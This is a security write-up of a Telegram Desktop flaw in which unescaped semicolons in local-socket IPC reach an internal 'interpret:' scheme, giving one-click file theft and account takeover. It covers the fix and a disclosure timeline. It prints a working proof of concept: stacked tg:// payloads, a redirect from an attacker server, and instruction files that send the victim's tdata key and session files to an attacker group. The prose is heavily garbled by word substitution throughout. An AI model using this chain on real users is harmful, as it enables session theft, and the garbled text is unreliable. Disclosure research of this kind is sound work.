Telegram Desktop: one-click account takeover through IPC injection

Introduction
Someone provides you to a Telegram group. A hyperlink reveals up within the chat. You click on it, and your Telegram account is not solely yours.
How?
Telegram Desktop fingers clicked hyperlinks to its personal already-running occasion over a neighborhood socket, as textual content, and by no means escapes the character it makes use of to separate instructions. So a crafted hyperlink doesn’t arrive as one instruction: it arrives as a number of.
The chain I discovered has two defects. The first is that injection. The second is what the injected command reaches: an inner URI scheme, interpret:, that reads a file named in an instruction file and sends it to a chat, with out checking who requested for it and and not using a affirmation. Together they flip a clicked hyperlink into arbitrary file learn. In this publish I stroll by the chain after which use it to steal the information which are the sufferer’s login.
| Affected | Telegram Desktop by 7.2.8, confirmed on Windows (6.9.3) |
| Impact | Remote arbitrary native file learn, exfiltrated to an attacker-controlled chat; account takeover |
| CVE | CVE-2026-107181 |
| Fixed in | 7.2.9, commit db3405699f |
| Severity | 8.1 High, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
One hyperlink, two processes
Operating programs let applications register a URI scheme, so that they know which utility to launch after they meet a hyperlink of that sort. Telegram Desktop registers tg. From then on the system is aware of a tg://... hyperlink belongs to Telegram, and launches it with the URL as a command-line argument.
If Telegram will not be working, the method begins, takes the string as a parameter, turns it right into a URL object and handles it internally: one course of, and nothing to speak.
But what if Telegram is already working? The working system neither is aware of nor checks: it launches a brand new course of anyway, equivalent to the primary. Telegram itself has to work out that it’s the redundant one, and the way in which it really works that out is by making an attempt to hook up with a neighborhood socket.
The already-running occasion is the server: it has been listening on that socket because it began. The new course of is the shopper. If it manages to attach, an occasion is already alive, so it fingers over the hyperlink and exits.
A socket doesn’t carry objects, it carries bytes. The URL object the brand new course of holds in reminiscence can not cross that channel, so it needs to be flattened right into a line of textual content.
That operation has a reputation: serialization. Its inverse, rebuilding the thing from the textual content, is deserialization. Both are unavoidable every time structured knowledge has to cross a boundary, and each are the precise level the place the boundaries inside the information cease being held by the construction and turn out to be characters within the textual content.
Telegram does it with a format of its personal, a easy one. Each instruction is a key phrase, then its argument, then a semicolon that closes it. A hyperlink to open turns into:
tg://x?a=1 matches no handler inside Telegram, so by itself that hyperlink does nothing. It is barely a provider.
That line is constructed right here, one per URL to open:
1
2
3
4
// sandbox.cpp:295-297
for (const auto &url : cRefStartUrls()) {
instructions += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';
}
On the opposite facet the working occasion deserializes: it reads the obtained bytes, cuts them at each semicolon, and treats each bit as an instruction in its personal proper. For each bit beginning with OPEN: it takes what follows and rebuilds it as a URL, precisely as if it had simply arrived on the command line.
1
2
3
4
5
6
// sandbox.cpp:453-463 (abbreviated)
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
auto cmd = base::StringViewMid(cmds, from, to - from);
...
} else if (cmd.beginsWith(u"OPEN:"_q)) {
startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));
The unescaped separator
So what occurs if one of many transmitted values comprises a semicolon of its personal, the very character the format makes use of as a separator? Take the hyperlink from earlier than and add one thing to it:
The new course of treats it as a single URL, as a result of to it that semicolon is only a character contained in the question. It flattens it and writes it to the socket:
1
OPEN:tg://x?a=1;CMD:stop;
The working occasion cuts at each semicolon and will get two directions as a substitute of 1:
1
2
OPEN:tg://x?a=1
CMD:stop
That is the injection, and it’s the first of the 2 defects.
The interpret: URI scheme
The instance above injected CMD:, however don’t be misled by the identify: it accepts solely present and stop, so the worst it could do is shut the app.
Four instructions are accepted in complete, and three of them are innocent. The fourth is OPEN:, and there’s the element: it accepts any URL, with no filter on the scheme.
Digging by the code turns up one other URI scheme inside Telegram, referred to as interpret:.
The working system wouldn’t know what to do with a hyperlink beginning with interpret:, as a result of it’s registered nowhere as a protocol handler: it exists solely inside Telegram’s personal code, which picks the scheme up off the start-URL checklist like some other.
1
2
3
4
// utility.cpp:1162-1164
if (url.scheme() == u"interpret"_q) {
interprets.append(url.path());
return false;
Through OPEN:, then, it’s reachable:
1
tg://x?a=1;OPEN:interpret:directions.txt
So what’s interpret: for?
It was the instrument Telegram used to publish its personal releases. When a brand new model shipped, the construct archive needed to be posted to a channel with the changelog as its caption. Rather than doing that by hand, a script wrote a small textual content file naming the channel, the file to ship and the textual content to write down, then launched Telegram with the trail to that file.
1
2
3
# Telegram/construct/updates.py:206
subprocess.name(... 'Telegram -sendpath interpret://' + scriptPath
+ '/.../command.txt', shell=True)
The instruction file appears to be like like this:
1
2
3
4
5
6
7
from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: TDesktop at 12.06.26:
- Fixed a crash within the media viewer.
- Added a brand new sticker pack.
The worth of from: is in contrast in opposition to the id of the at present logged-in account: it retains an operator from publishing a launch from the unsuitable one. The examine solely runs if the road is current, so leaving it out skips it. The vacation spot is ready solely by channel:, and needs to be a channel or a supergroup.
A perform referred to as InterpretSendPath does the work.
So the place is the bug? interpret: performs a privileged motion, studying any file off the disk and sending it to a chat, with out asking anybody for affirmation and with out checking who requested for it.
The perform performs no authorization examine.
1
2
3
4
5
6
7
8
9
// support_helper.cpp:673-680
QString InterpretSendPath(
not_null<Window::SessionController*> window,
const QString &path) {
QFile f(path);
if (!f.open(QIODevice::LearnOnly)) {
return "App Error: Could not open interpret file: " + path;
}
const auto content material = QString::fromUtf8(f.readAll());
When that comes from the command line, which is how the discharge script invokes it, it isn’t an issue: an attacker would wish a foothold on the machine already, and with one they’ll learn the information themselves. But as soon as the identical motion is reachable by the socket, and due to this fact by the injection, a harmful perform turns into out there from a hyperlink the sufferer clicks.
That is a lacking authorization, and it’s the second of the 2 defects.
Getting the instruction file onto disk
An attacker who might place an instruction file on the sufferer’s disk, pointing file: at a path value stealing and channel: at a channel of their very own, might exfiltrate any file from that machine with nothing greater than a clicked hyperlink.
So how does an attacker place a textual content file at a predictable path on another person’s disk? The apparent method is to ship it as a chat attachment.
As it occurs, Telegram Desktop in its default configuration downloads information obtained in teams as much as 8 MiB routinely, whereas in broadcast channels computerized obtain is off. The file lands in an ordinary folder, underneath the identical identify the sender selected, with out the sufferer clicking on it, and in a predictable place (a reputation collision would make Telegram save instructions1 (2).txt as a substitute). Some codecs, corresponding to stickers, GIFs and voice messages, go to an inner cache as a substitute and wouldn’t be reachable as a path on disk.
Telegram builds that path itself (file_utilities.cpp:172-181). On Windows:
1
C:UsersDownloadsTelegram Desktop
By sending the file into the group, the attacker is aware of precisely the place will probably be saved. The path nonetheless appears to carry one unknown, the Windows consumer identify, however interpret: additionally accepts relative paths, and a relative path is resolved from Telegram’s personal working listing, which is its knowledge folder (logs.cpp:381). On Windows that’s %APPDATA%Telegram Desktop, three ranges beneath the consumer’s house listing, and Downloads sits straight in that house listing. So a path like this one:
1
interpret:../../../Downloads/Telegram%20Desktop/directions.txt
provides the attacker a deterministic path with out ever needing the consumer identify.
From file learn to account takeover
InterpretSendPath sends precisely one file per invocation: if an instruction file holds a number of file: traces, solely the final one counts. Two issues carry that restrict. Nothing stops an attacker from posting as many instruction information as they need, and the injection doesn’t cease on the first command: each semicolon opens one other. Three targets, then, are three instruction information and three stacked instructions in a single hyperlink.
1
2
3
4
tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
The primitive stays the identical all through: arbitrary file learn. What modifications is what you learn: an SSH personal key, a browser password retailer, a cloud credentials file, or a configuration holding an API token.
Telegram doesn’t hold native knowledge within the clear, so all the pieces the consumer holds on disk is encrypted, together with the session authorization. That is the important thing the shopper makes use of to establish itself to Telegram’s servers, and holding it is sufficient to be that account, very like a session cookie on a web site.
Telegram makes use of key wrapping. Two keys are concerned. The first, the DEK (Data Encryption Key), is lengthy, random and high-entropy, and encrypts the consumer’s knowledge. The second, the KEK (Key Encryption Key), encrypts solely the DEK, and isn’t the password: it’s derived from the password by a key derivation perform (KDF), along with a salt saved subsequent to the encrypted DEK.
In pseudocode, the chain that opens the native knowledge appears to be like like this:
1
2
3
4
5
6
salt, encrypted_DEK = learn("tdata/key_datas")
passcode = user_passcode() # empty if none is ready
KEK = KDF(passcode, salt)
DEK = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)
By default Telegram Desktop has no native passcode: it’s important to open the settings and set one. With none set, the password feeding the derivation is empty (storage_domain.cpp:102), so the KEK comes from the empty string and a salt, and that salt is saved within the clear in tdata/key_datas, the identical file that holds the encrypted DEK. Reading that one file is sufficient to recompute the KEK and unwrap the DEK.
So with no passcode set, whoever will get key_datas will get the DEK, and with the DEK all the pieces else decrypts, session authorization included.
Three information are concerned, and solely two of them maintain secrets and techniques:
1
2
3
4
5
tdata/
├── key_datas the salt and the encrypted DEK
├── D877F783D5D3EF8Cs the MTProto authorization, encrypted with the DEK
└── D877F783D5D3EF8C/
└── maps the index of the account's saved knowledge
That folder identify will not be random and never particular to an set up. It is derived from the string knowledge, the default knowledge identify (storage_file_utilities.cpp:241-250). It is equivalent on each set up.
The third file is an index, and it holds no secrets and techniques. The session nonetheless is not going to load with out it: Telegram reads the authorization solely whereas studying that index. Stealing it, although, is a selection: an attacker might simply as nicely construct one. In this proof of idea it’s merely taken together with the opposite two, for comfort.
It follows that an attacker holding all three has the account: drop them right into a recent tdata, begin Telegram, and the sufferer’s session opens.
Delivering the hyperlink
The assault wants one click on from the sufferer, and it has to come back from exterior Telegram. A tg:// hyperlink clicked inside a Telegram chat is dealt with in-process (click_handler_types.cpp:278) and by no means reaches the socket, so there’s nothing to inject into. Normal https hyperlinks, however, open within the system browser (ui_integration.cpp:437), as a result of Telegram Desktop has no embedded one. So the attacker sends an unusual https hyperlink and has their very own server redirect it to the crafted tg:// one.
1
2
3
4
5
GET /guidelines HTTP/1.1
Host: corvus.sec
HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:directions.txt
Depending on the browser, and on whether or not the sufferer has used the handler earlier than, the system might ask for affirmation earlier than launching Telegram.
Proof of idea
-
The attacker creates a supergroup and provides the sufferer to it. Telegram’s default privateness setting permits this with no affirmation from the invitee.
-
The attacker posts three instruction textual content information within the group, one for every file to be stolen, all naming the attacker’s personal group because the vacation spot. Omitting the
from:line skips the account examine solely:1 2 3
channel: 2001234567 file: tdata/key_datas caption: poc
The file needs to be plain textual content with LF line endings and no byte-order mark. The different two level at
tdata/D877F783D5D3EF8Csandtdata/D877F783D5D3EF8C/maps. Automatic obtain saves all three to the sufferer’s disk when the sufferer opens the group, which they do anyway, as a result of that’s the place the hyperlink in step 3 is ready. -
The attacker sends an innocuous hyperlink into the chat:
1
https://corvus.sec/rules
-
The sufferer clicks it. The browser follows the redirect, which this time carries one command per goal, wrapped right here however despatched as a single line:
1 2 3 4
tg://x?a=1 ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
-
The working system launches a second Telegram course of, which forwards the URL to the working one over the socket. The unescaped semicolons cut up it, and the injection fires.
-
The three
interpret:instructions execute, and the three information are uploaded to the attacker’s group. No affirmation dialog is proven. -
The attacker rebuilds
tdatafrom the three information and opens the sufferer’s account.
Mitigations
Upgrade to 7.2.9 or later. That is the one factor that truly closes the issue. The relaxation reduces publicity.
-
Turn on “ask the place to avoid wasting every file”. With that setting, computerized obtain doesn’t occur in any respect, and the instruction file by no means reaches the disk. It is the best mitigation wanting upgrading.
-
Limit who can add you to teams to your contacts solely. Stolen information can solely be despatched to a channel or a supergroup, so this takes away the place the attacker would have them delivered to.
-
Set a neighborhood passcode, and select it like an actual password. It doesn’t stop the information from being stolen; it solely makes the stolen session unusable.
Fix
Fixed by commit db3405699f on 16 September 2026. The changelog dates 7.2.9 to the identical day; the discharge was revealed the next morning. The commit removes the interpret:// scheme and Support::InterpretSendPath solely, and escapes the document separator on the single-instance socket: values are escaped with a percent-prefixed hex encoding earlier than being written and decoded after the cut up, so a semicolon within the knowledge can not turn out to be a boundary.
It additionally provides two measures past that: CMD: and CTRL: information are skipped when the identical connection carries an OPEN:, and native file paths are dropped as soon as a non-local URL has appeared on that connection.
Timeline
| Date | Event |
|---|---|
| 2026-06-25 | Reported by ZDI |
| 2026-09-16 | Vendor fixes the difficulty independently, commit db3405699f |
| 2026-09-17 | Telegram Desktop 7.2.9 revealed |
| 2026-09-30 | ZDI closes the case as already fastened; disclosure rights return to me |
| 2026-10-03 | This writeup |
| 2026-10-07 | CVE-2026-107181 assigned |
The repair shipped quietly: the 7.2.9 changelog mentions solely a rendering repair, the commit that closes the chain is titled “Remove legacy interpret path helper”, and no advisory accompanied it.
BeakSec on YouTube
If you’re into this sort of factor, I publish cybersecurity stuff on BeakSec, my YouTube channel. It’s new, so subscribing helps.
